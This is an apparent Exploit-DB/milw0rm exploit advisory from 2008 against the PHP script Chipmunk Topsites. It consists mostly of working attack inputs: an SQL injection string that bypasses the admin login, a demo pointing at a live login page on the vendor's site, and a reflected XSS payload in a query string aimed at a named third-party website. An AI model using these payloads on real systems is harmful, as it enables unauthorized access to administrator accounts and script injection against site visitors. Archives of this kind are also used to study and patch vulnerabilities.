chipmunk topsites auth bypass/XSS Multiple Vulnerabilities

2008-11-25T00:00:00
ID EDB-ID:7227
Type exploitdb
Reporter ZoRLu
Modified 2008-11-25T00:00:00

Description

Chipmunk Topsites (Auth Bypass/XSS) Multiple Remote Vulnerabilities. CVE-2008-7071,CVE-2008-7072. Webapps exploit for php platform

                                        
                                            [~] Chipmunk Topsites (Auth Bypass) SQL Injection & XSS Multiple Remote Vuln.
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] N0T: RedHaK Kardesime ozel tesekurler.
[~] -----------------------------------------------------------

Exploit:

username: [real_admin_name] ' or ' 1=1

password: ZoRLu ( or dont write anything )

note: generally admin name: admin 


exploit for demo:

http://www.chipmunk-scripts.com/topsites/login.php

username: admin ' or ' 1=1--

passwd: ZoRLu  ( or dont write anything )

or 

username: zorlu ' or ' 1=1--

passwd: ZoRLu  ( or dont write anything )


XSS:

http://www.arcade-classics.net/top100/index.php?start="><script>alert()</script>

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & RedHaK
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-25]